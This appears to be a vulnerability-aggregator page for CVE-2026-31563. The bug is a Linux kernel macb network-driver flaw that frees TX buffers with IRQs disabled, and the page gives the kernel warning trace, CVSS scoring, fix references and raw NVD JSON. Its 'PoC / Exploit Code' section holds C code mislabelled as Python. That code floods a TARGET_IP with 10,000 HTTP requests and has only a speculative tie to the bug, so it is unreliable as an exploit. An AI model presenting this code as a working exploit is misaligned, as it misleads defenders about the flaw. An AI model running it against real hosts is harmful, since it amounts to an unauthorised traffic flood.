CVE-2026-31563

Description

In the Linux kernel, the following vulnerability has been resolved: net: macb: Use dev_consume_skb_any() to free TX SKBs The napi_consume_skb() function is not intended to be called in an IRQ disabled context. However, after commit 6bc8a5098bf4 ("net: macb: Fix tx_ptr_lock locking"), the freeing of TX SKBs is performed with IRQs disabled. To resolve the following call trace, use dev_consume_skb_any() for freeing TX SKBs: WARNING: kernel/softirq.c:430 at __local_bh_enable_ip+0x174/0x188, CPU#0: ksoftirqd/0/15 Modules linked in: CPU: 0 UID: 0 PID: 15 Comm: ksoftirqd/0 Not tainted 7.0.0-rc4-next-20260319-yocto-standard-dirty #37 PREEMPT Hardware name: ZynqMP ZCU102 Rev1.1 (DT) pstate: 200000c5 (nzCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __local_bh_enable_ip+0x174/0x188 lr : local_bh_enable+0x24/0x38 sp : ffff800082b3bb10 x29: ffff800082b3bb10 x28: ffff0008031f3c00 x27: 000000000011ede0 x26: ffff000800a7ff00 x25: ffff800083937ce8 x24: 0000000000017a80 x23: ffff000803243a78 x22: 0000000000000040 x21: 0000000000000000 x20: ffff000800394c80 x19: 0000000000000200 x18: 0000000000000001 x17: 0000000000000001 x16: ffff000803240000 x15: 0000000000000000 x14: ffffffffffffffff x13: 0000000000000028 x12: ffff000800395650 x11: ffff8000821d1528 x10: ffff800081c2bc08 x9 : ffff800081c1e258 x8 : 0000000100000301 x7 : ffff8000810426ec x6 : 0000000000000000 x5 : 0000000000000001 x4 : 0000000000000001 x3 : 0000000000000000 x2 : 0000000000000008 x1 : 0000000000000200 x0 : ffff8000810428dc Call trace: __local_bh_enable_ip+0x174/0x188 (P) local_bh_enable+0x24/0x38 skb_attempt_defer_free+0x190/0x1d8 napi_consume_skb+0x58/0x108 macb_tx_poll+0x1a4/0x558 __napi_poll+0x50/0x198 net_rx_action+0x1f4/0x3d8 handle_softirqs+0x16c/0x560 run_ksoftirqd+0x44/0x80 smpboot_thread_fn+0x1d8/0x338 kthread+0x120/0x150 ret_from_fork+0x10/0x20 irq event stamp: 29751 hardirqs last enabled at (29750): [<ffff8000813be184>] _raw_spin_unlock_irqrestore+0x44/0x88 hardirqs last disabled at (29751): [<ffff8000813bdf60>] _raw_spin_lock_irqsave+0x38/0x98 softirqs last enabled at (29150): [<ffff8000800f1aec>] handle_softirqs+0x504/0x560 softirqs last disabled at (29153): [<ffff8000800f2fec>] run_ksoftirqd+0x44/0x80

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (带有macb驱动且包含commit 6bc8a5098bf4但未包含修复补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for triggering TX path in macb driver.
 * Requires a system with the vulnerable macb driver hardware.
 * Sending high volume of traffic may trigger the race condition.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main(int argc, char *argv[]) {
    int sock;
    struct sockaddr_in server;
    char *message;

    // Create socket
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        perror("Could not create socket");
        return 1;
    }

    server.sin_addr.s_addr = inet_addr("TARGET_IP"); // Replace with target IP
    server.sin_family = AF_INET;
    server.sin_port = htons(80);

    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
        perror("Connect failed");
        return 1;
    }

    message = "GET / HTTP/1.1\r\n\r\n";
    // Send repeated packets to stress TX path
    for(int i=0; i<10000; i++) {
        if (send(sock, message, strlen(message), 0) < 0) {
            perror("Send failed");
            break;
        }
    }

    close(sock);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31563
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31563
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31563/
[4] VulDB https://vuldb.com/cve/CVE-2026-31563
[5] https://git.kernel.org/stable/c/647b8a2fe474474704110db6bd07f7a139e621eb
[6] https://git.kernel.org/stable/c/78c8b090a3d5c1689dc989861b0163180db2b3f8
[7] https://git.kernel.org/stable/c/92e7081f0c79d9073087e54bab745bb184192c2e
[8] https://git.kernel.org/stable/c/984350b37372f79f71d4f0a5264c640e40daf9ce
[9] https://git.kernel.org/stable/c/ca4d05afb4683d685bb2c6fccae4386c478f524a
[10] https://git.kernel.org/stable/c/f4bc91398b579730284328322365afa77a9d568f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31563", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:30.720", "lastModified": "2026-04-27T20:31:02.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: Use dev_consume_skb_any() to free TX SKBs\n\nThe napi_consume_skb() function is not intended to be called in an IRQ\ndisabled context. However, after commit 6bc8a5098bf4 (\"net: macb: Fix\ntx_ptr_lock locking\"), the freeing of TX SKBs is performed with IRQs\ndisabled. To resolve the following call trace, use dev_consume_skb_any()\nfor freeing TX SKBs:\n WARNING: kernel/softirq.c:430 at __local_bh_enable_ip+0x174/0x188, CPU#0: ksoftirqd/0/15\n Modules linked in:\n CPU: 0 UID: 0 PID: 15 Comm: ksoftirqd/0 Not tainted 7.0.0-rc4-next-20260319-yocto-standard-dirty #37 PREEMPT\n Hardware name: ZynqMP ZCU102 Rev1.1 (DT)\n pstate: 200000c5 (nzCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __local_bh_enable_ip+0x174/0x188\n lr : local_bh_enable+0x24/0x38\n sp : ffff800082b3bb10\n x29: ffff800082b3bb10 x28: ffff0008031f3c00 x27: 000000000011ede0\n x26: ffff000800a7ff00 x25: ffff800083937ce8 x24: 0000000000017a80\n x23: ffff000803243a78 x22: 0000000000000040 x21: 0000000000000000\n x20: ffff000800394c80 x19: 0000000000000200 x18: 0000000000000001\n x17: 0000000000000001 x16: ffff000803240000 x15: 0000000000000000\n x14: ffffffffffffffff x13: 0000000000000028 x12: ffff000800395650\n x11: ffff8000821d1528 x10: ffff800081c2bc08 x9 : ffff800081c1e258\n x8 : 0000000100000301 x7 : ffff8000810426ec x6 : 0000000000000000\n x5 : 0000000000000001 x4 : 0000000000000001 x3 : 0000000000000000\n x2 : 0000000000000008 x1 : 0000000000000200 x0 : ffff8000810428dc\n Call trace:\n __local_bh_enable_ip+0x174/0x188 (P)\n local_bh_enable+0x24/0x38\n skb_attempt_defer_free+0x190/0x1d8\n napi_consume_skb+0x58/0x108\n macb_tx_poll+0x1a4/0x558\n __napi_poll+0x50/0x198\n net_rx_action+0x1f4/0x3d8\n handle_softirqs+0x16c/0x560\n run_ksoftirqd+0x44/0x80\n smpboot_thread_fn+0x1d8/0x338\n kthread+0x120/0x150\n ret_from_fork+0x10/0x20\n irq event stamp: 29751\n hardirqs last enabled at (29750): [<ffff8000813be184>] _raw_spin_unlock_irqrestore+0x44/0x88\n hardirqs last disabled at (29751): [<ffff8000813bdf60>] _raw_spin_lock_irqsave+0x38/0x98\n softirqs last enabled at (29150): [<ffff8000800f1aec>] handle_softirqs+0x504/0x560\n softirqs last disabled at (29153): [<ffff8000800f2fec>] run_ksoftirqd+0x44/0x80"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.151", "versionEndExcluding": "6.1.168", "matchCriteriaId": "6468B51A-D3CD-45F2-88B1-0D3D9E733B35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.105", "versionEndExcluding": "6.6.131", "matchCriteriaId": "AE86A654-AD51-494F-B566-F414BE18B4C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.46", "versionEndExcluding": "6.12.80", "matchCriteriaId": "C4349E2C-F7A7-436A-ABF7-490B6A65F94F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.6", "versionEndExcluding": "6.17", "matchCriteriaId": "92625292-0FEA-4DC5-932B-1EC5C57AED85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "44CB3599-9974-4F35-B3CC-580CAC6FA38B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaI ... (truncated)